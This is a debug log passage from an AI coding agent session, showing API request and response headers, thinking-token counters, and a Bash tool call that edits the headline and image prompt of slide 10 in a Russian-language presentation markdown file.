\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:56.608Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:56.610Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:56.616Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:56.620Z] [STDOUT]   \"cf-ray\": \"a42967cb1fec01ff-CDG\",\n[2026-09-29T07:51:56.625Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:56.627Z] [STDOUT] [log_a210e5] response parsed {\n[2026-09-29T07:51:56.631Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:56.634Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:56.639Z] [STDOUT]   body: X {\n[2026-09-29T07:51:56.644Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:56.646Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:56.649Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:56.651Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:56.658Z] [STDOUT]     },\n[2026-09-29T07:51:56.661Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:56.664Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:56.666Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:56.671Z] [STDOUT]   },\n[2026-09-29T07:51:56.674Z] [STDOUT]   durationMs: 913,\n[2026-09-29T07:51:56.677Z] [STDOUT] }\n[2026-09-29T07:51:56.810Z] [INFO] {\n[2026-09-29T07:51:56.810Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:56.810Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:56.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:56.810Z] [INFO]   \"uuid\": \"33d9383d-14f0-462a-afc7-8064476d6160\"\n[2026-09-29T07:51:56.810Z] [INFO] }\n[2026-09-29T07:51:58.268Z] [INFO] {\n[2026-09-29T07:51:58.268Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"estimated_tokens\": 271,\n[2026-09-29T07:51:58.268Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:58.268Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:58.268Z] [INFO]   \"uuid\": \"79773214-6dfa-4140-a009-61c4885d3e43\"\n[2026-09-29T07:51:58.268Z] [INFO] }\n[2026-09-29T07:51:58.276Z] [INFO] {\n[2026-09-29T07:51:58.276Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"message\": {\n[2026-09-29T07:51:58.276Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"id\": \"msg_011CfXNFZUCHgmh7UptKfNo8\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:58.276Z] [INFO]     \"content\": [\n[2026-09-29T07:51:58.276Z] [INFO]       {\n[2026-09-29T07:51:58.276Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:58.276Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:58.276Z] [INFO]         \"signature\": \"CAQSsggKEAgSGAI4AUIIdGhpbmtpbmcSDBFZ1Kiz16riiIfOhhoMZQkt8HfGE7fQvpmIIjAC1h7x+TRAOQTAQhSu8XkGyJbPjVryC19nWTYh0bMUA+mjMzJbajePSEgPY/UiT/EqzweUxX2FniPk2aF6N6FPb6z1Nd7NoPfJUiQQBFApELDP2FZC+ehpIfrqaKw9jIGSRjFnLZkx+7twfkkB+SpwhzjzLrIO1zNnLF2BlYeeWHDhnQ/JbtNBb8DPZP5T3khhFfkTulAd0CVbxRDxQcx+0AxPHWVL84OzGutGCBMtqAMfAPzuqNjP9COUCsgQzzcc8lxYBSAhorMnO3VG3YGXRvcjEMyE4q9wlhqBGm/8Vhm+Im3fZVQrT/BlY8R4NyU/S40zBUJHC5kNBNEk4OFOxUdedLu5wLKZyeGAtLOyZil3jI6zyjxT3eaX4L1ZkkZQc6Xk1pQOjLP+OT4n+KytIPNLvvnIt5QEfBsKYMfaLvbm36viE71itBT0nN4jrdQ3b3xm3taZFjnLxPnyOq50djvCmYfTkaoK/Ual4O0DKU0eKAj6qtKRhHsND0VOY/mhjdz2QetwcXI2m8SetCtn0GD8qGlTdhGRrzbwojzDlRZujLzizs8O489Rm9s1jqZOYKoLMiT1bd2OjKmuLQIYWgZ3bEA3WpulvglchMt1p4zHiYGwXne2w5VtvPxBjMaEIb93/JojhdkVi5bp+jI+it54vf3WVSRLApuLOBo//Fy8XiSxrpqMRlhe86toJHtAAcx10p55rmrNVlmZz4S4TikhHwyA7fFffjhf4kJXDQTPHw8MjEqmr2xi1dOh/ytcnaAbMEGOY7IaFL/5Im8ZqpNHtt/Oqy+MDeJKe58u45m1nrlhAMtjsKCsUNWNZB6XXiZA1CVhm6EXMfhyBOuVcZYhPnQXRD3O4U0XVwRRbm8VmGI00yKt/AkzCsXoj9KkqiM+n1A9bxkcEY6/F6tS8Z+FbBxA7risPOlgOGNTKYJLFlGdAoNt/gmO5iQ3ygkzvGYiWXF3+OddL833JtDqdsLlge7ceyz+tnLXynkaT3Wdd0c1yBI6cqIBJv1oyrI/ihEeVNe748XrP/p/fn007Xs1a7caavKuCCgCZpBudp0BlklQ3Pg1E/EAj53J9fSaaIxR9UCqJZum6rGMD93RIuARMVb87zxer91fovVRGFoqk7RRBaoCvhinJ23VoULXDBUYzW5t8F+r+E8QtIB2ipcy8nG8C7w9TfTy163MAlNyOOfnHJPpAfVvhcyNlqO8aRsCmlIsgAKfUNvERxZgIJ26s1c4gPB4iVMWL2KQGPLHCmRd6MM7QRJ1mNUmnivb0mPbH7FSSIpfi1NOfivt7QGjIjmylObm+F5QZ7mdeToYxz5mxPh/i4noVLpErLqr35iYJvtgYurdlC0iQP06dvkYAQ==\"\n[2026-09-29T07:51:58.276Z] [INFO]       }\n[2026-09-29T07:51:58.276Z] [INFO]     ],\n[2026-09-29T07:51:58.276Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:58.276Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_creation_input_tokens\": 1894,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_read_input_tokens\": 105224,\n[2026-09-29T07:51:58.276Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:58.276Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:58.276Z] [INFO]         \"ephemeral_1h_input_tokens\": 1894\n[2026-09-29T07:51:58.276Z] [INFO]       },\n[2026-09-29T07:51:58.276Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:58.276Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:58.276Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:58.276Z] [INFO]     },\n[2026-09-29T07:51:58.276Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:58.276Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:58.276Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:58.276Z] [INFO]   },\n[2026-09-29T07:51:58.276Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:58.276Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"uuid\": \"46459a71-620e-4aed-8721-5e70cb5d3565\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:58.268Z\",\n[2026-09-29T07:51:58.276Z] [INFO]   \"request_id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\"\n[2026-09-29T07:51:58.276Z] [INFO] }\n[2026-09-29T07:52:01.309Z] [INFO] {\n[2026-09-29T07:52:01.309Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:52:01.309Z] [INFO]   \"message\": {\n[2026-09-29T07:52:01.309Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"id\": \"msg_011CfXNFZUCHgmh7UptKfNo8\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:52:01.309Z] [INFO]     \"content\": [\n[2026-09-29T07:52:01.309Z] [INFO]       {\n[2026-09-29T07:52:01.309Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"id\": \"toolu_01An52HAVcy5meQ2CHk7qnhM\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:52:01.309Z] [INFO]         \"input\": {\n[2026-09-29T07:52:01.309Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\\",\\n\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\\"),\\n(\\\"\\\"\\\"Three illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\\"\\\"\\\",\\n\\\"\\\"\\\"Three switches in a row on a clean control panel, each paired with a\\nsmall measuring gauge; a hand is turning on the first one, the other\\ntwo are still off; behind the panel a calm, dimly lit server room is\\nwaiting to power up.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:52:01.309Z] [INFO]           \"description\": \"Refine slide 10 headline and image prompt\"\n[2026-09-29T07:52:01.309Z] [INFO]         },\n[2026-09-29T07:52:01.309Z] [INFO]         \"caller\": {\n[2026-09-29T07:52:01.309Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:52:01.309Z] [INFO]         }\n[2026-09-29T07:52:01.309Z] [INFO]       }\n[2026-09-29T07:52:01.309Z] [INFO]     ],\n[2026-09-29T07:52:01.309Z] [INFO]     \"container\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"usage\": {\n[2026-09-29T07:52:01.309Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_creation_input_tokens\": 1894,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_read_input_tokens\": 105224,\n[2026-09-29T07:52:01.309Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:52:01.309Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:52:01.309Z] [INFO]         \"ephemeral_1h_input_tokens\": 1894\n[2026-09-29T07:52:01.309Z] [INFO]       },\n[2026-09-29T07:52:01.309Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:52:01.309Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:52:01.309Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:52:01.309Z] [INFO]     },\n[2026-09-29T07:52:01.309Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:52:01.309Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:52:01.309Z] [INFO]     \"context_management\": null\n[2026-09-29T07:52:01.309Z] [INFO]   },\n[2026-09-29T07:52:01.309Z] [INFO]   \"parent_tool_use_id\": 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dimly lit server room is\\nwaiting to power up.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:52:01.309Z] [INFO]       \"description\": \"Refine slide 10 headline and image prompt\"\n[2026-09-29T07:52:01.309Z] [INFO]     }\n[2026-09-29T07:52:01.309Z] [INFO]   },\n[2026-09-29T07:52:01.309Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:52:01.309Z] [INFO]     \"toolu_01An52HAVcy5meQ2CHk7qnhM\": {\n[2026-09-29T07:52:01.309Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:52:01.309Z] [INFO]     }\n[2026-09-29T07:52:01.309Z] [INFO]   }\n[2026-09-29T07:52:01.309Z] [INFO] }\n[2026-09-29T07:52:04.392Z] [INFO] {\n[2026-09-29T07:52:04.392Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:04.392Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:52:04.392Z] [INFO]   \"task_id\": \"bua0rc5nl\",\n[2026-09-29T07:52:04.392Z] [INFO]   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waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"-server room is ready to power up.\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+Three switches in a row on a clean control panel, each paired with a\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+small measuring gauge; a hand is turning on the first one, the other\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+two are still off; behind the panel a calm, dimly lit server room is\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \"+waiting to power up.\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" STYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" off-white linework, single amber accent colour for the key element,\",\n[2026-09-29T07:52:05.183Z] [INFO]                 \" generous negative space, no text, no letters, no logos, 16:9\"\n[2026-09-29T07:52:05.183Z] [INFO]      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\"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:52:05.406Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:52:05.415Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:52:05.427Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:52:05.449Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:52:05.455Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:52:05.472Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:52:05.527Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:52:05.530Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:52:05.545Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:52:05.550Z] [STDOUT]   },\n[2026-09-29T07:52:05.556Z] [STDOUT] }\n[2026-09-29T07:52:06.136Z] [STDOUT] [log_c5508c, request-id: \"req_011CfXNGHKsPJjFoWDY7NsVp\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 829ms\n[2026-09-29T07:52:06.140Z] [STDOUT] [log_c5508c] response start {\n[2026-09-29T07:52:06.143Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:52:06.145Z] [STDOUT]   status: 200,\n[2026-09-29T07:52:06.148Z] [STDOUT]   headers: {\n[2026-09-29T07:52:06.156Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:52:06.160Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:52:06.162Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:52:06.164Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:52:06.166Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:52:06.170Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.173Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:52:06.177Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:52:06.180Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:52:06.185Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:52:06.189Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:52:06.191Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:52:06.193Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:52:06.195Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.198Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:52:06.201Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:52:06.203Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:52:06.205Z] [STDOUT]     \"cf-ray\": \"a42968093ab301ff-CDG\",\n[2026-09-29T07:52:06.207Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:52:06.209Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:52:06.215Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:52:06.240Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:52:06.251Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:52:06 GMT\",\n[2026-09-29T07:52:06.258Z] [STDOUT]     \"request-id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:52:06.265Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:52:06.269Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:52:06.285Z] [STDOUT]     traceresponse: \"00-e446fedb00840139c51c4e7cc87736f0-a91f982a9a2dbed4-01\",\n[2026-09-29T07:52:06.295Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:52:06.311Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:52:06.324Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:52:06.329Z] [STDOUT]   },\n[2026-09-29T07:52:06.341Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:52:06.361Z] [STDOUT] }\n[2026-09-29T07:52:06.365Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:52:06.367Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:52:06 GMT\",\n[2026-09-29T07:52:06.375Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:52:06.378Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:52:06.384Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:52:06.387Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:52:06.393Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:52:06.396Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:52:06.399Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:52:06.401Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:52:06.404Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:52:06.414Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:52:06.417Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:52:06.425Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:52:06.431Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:52:06.437Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:52:06.440Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:52:06.446Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.449Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:52:06.453Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:52:06.456Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:52:06.461Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:52:06.465Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.467Z] [STDOUT]   \"request-id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:52:06.471Z] [STDOUT]   \"traceresponse\": \"00-e446fedb00840139c51c4e7cc87736f0-a91f982a9a2dbed4-01\",\n[2026-09-29T07:52:06.475Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:52:06.480Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:52:06.482Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:52:06.485Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:52:06.489Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:52:06.500Z] [STDOUT]   \"cf-ray\": \"a42968093ab301ff-CDG\",\n[2026-09-29T07:52:06.512Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:52:06.518Z] [STDOUT] [log_c5508c] response parsed {\n[2026-09-29T07:52:06.521Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:52:06.525Z] [STDOUT]   status: 200,\n[2026-09-29T07:52:06.529Z] [STDOUT]   body: X {\n[2026-09-29T07:52:06.532Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:52:06.538Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:52:06.543Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:52:06.548Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:52:06.551Z] [STDOUT]     },\n[2026-09-29T07:52:06.555Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:52:06.557Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:52:06.560Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:52:06.563Z] [STDOUT]   },\n[2026-09-29T07:52:06.568Z] [STDOUT]   durationMs: 830,\n[2026-09-29T07:52:06.580Z] [STDOUT] }\n[2026-09-29T07:52:06.747Z] [INFO] {\n[2026-09-29T07:52:06.747Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:52:06.747Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:06.747Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"uuid\": \"c9d29eb4-8552-408e-84c1-a7d477320229\"\n[2026-09-29T07:52:06.747Z] [INFO] }\n[2026-09-29T07:52:07.886Z] [INFO] {\n[2026-09-29T07:52:07.886Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:52:07.886Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:07.886Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"uuid\": \"b966d826-ee12-43ec-a84e-43e3d8194d46\"\n[2026-09-29T07:52:07.886Z] [INFO] }\n[2026-09-29T07:52:09.088Z] [INFO] {\n[2026-09-29T07:52:09.088Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:52:09.088Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:09.088Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"uuid\": \"7144deca-8406-40c8-ada2-3d0f11a84781\"\n[2026-09-29T07:52:09.088Z] [INFO] }\n[2026-09-29T07:52:10.162Z] [INFO] {\n[2026-09-29T07:52:10.162Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:52:10.162Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:10.162Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"uuid\": \"a2ea6146-2caa-43d8-9ed9-04ffd7ef8c05\"\n[2026-09-29T07:52:10.162Z] [INFO] }\n[2026-09-29T07:52:11.894Z] [INFO] {\n[2026-09-29T07:52:11.894Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"estimated_tokens\": 450,\n[2026-09-29T07:52:11.894Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:11.894Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"uuid\": \"79712675-9397-41f7-99d1-5d7c80e5e595\"\n[2026-09-29T07:52:11.894Z] [INFO] }\n[2026-09-29T07:52:13.088Z] [INFO] {\n[2026-09-29T07:52:13.088Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"subtype\": 